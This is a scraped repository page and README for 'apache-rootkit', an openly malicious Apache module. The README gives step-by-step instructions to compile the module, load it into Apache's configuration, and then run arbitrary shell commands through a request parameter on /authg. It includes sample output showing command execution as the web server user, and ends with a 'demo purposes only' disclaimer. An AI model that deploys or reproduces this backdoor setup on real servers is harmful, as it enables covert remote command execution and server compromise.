https://github.com/ChristianPapathanasiou/apache-rootkit

A malicious Apache module with rootkit functionality
https://github.com/ChristianPapathanasiou/apache-rootkit

Last synced: 3 months ago
JSON representation

A malicious Apache module with rootkit functionality

• Host: GitHub
• URL: https://github.com/ChristianPapathanasiou/apache-rootkit
• Owner: ChristianPapathanasiou
• Created: 2015-02-19T16:45:19.000Z (over 9 years ago)
• Default Branch: master
• Last Pushed: 2015-02-19T17:07:54.000Z (over 9 years ago)
• Last Synced: 2024-04-08T20:14:07.432Z (7 months ago)
• Language: C
• Homepage:
• Size: 129 KB
• Stars: 79
• Watchers: 5
• Forks: 35
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

README

        
# apache-rootkit

A malicious Apache module with rootkit functionality

C. Papathanasiou 2015

 Compile by running:

```

   $ apxs -c -i mod_authg.c

```

 Then activate it in Apache's apache2.conf file for instance

 for the URL /authg in as follows:

```

    #   apache2.conf

    LoadModule authg_module modules/mod_authg.so

    

    SetHandler authg

   

```

  Then after restarting Apache via

```

    $ apachectl restart

```

  you immediately can request the URL /authg?c=cmd and watch for the

  output of this module. This can be achieved for instance via:

```

    $ lynx -mime_header http://localhost/authg?c=id 

```

  The output should be similar to the following one:

```

     HTTP/1.1 200 OK

     Date: Thu, 19 Feb 2015 16:33:30 GMT

     Server: Apache/2.4.7 (Ubuntu)

     Content-Length: 54

     Connection: close

     Content-Type: text/html

     uid=33(www-data) gid=33(www-data) groups=33(www-data)

```

Created for demo purposes only, no liability accepted.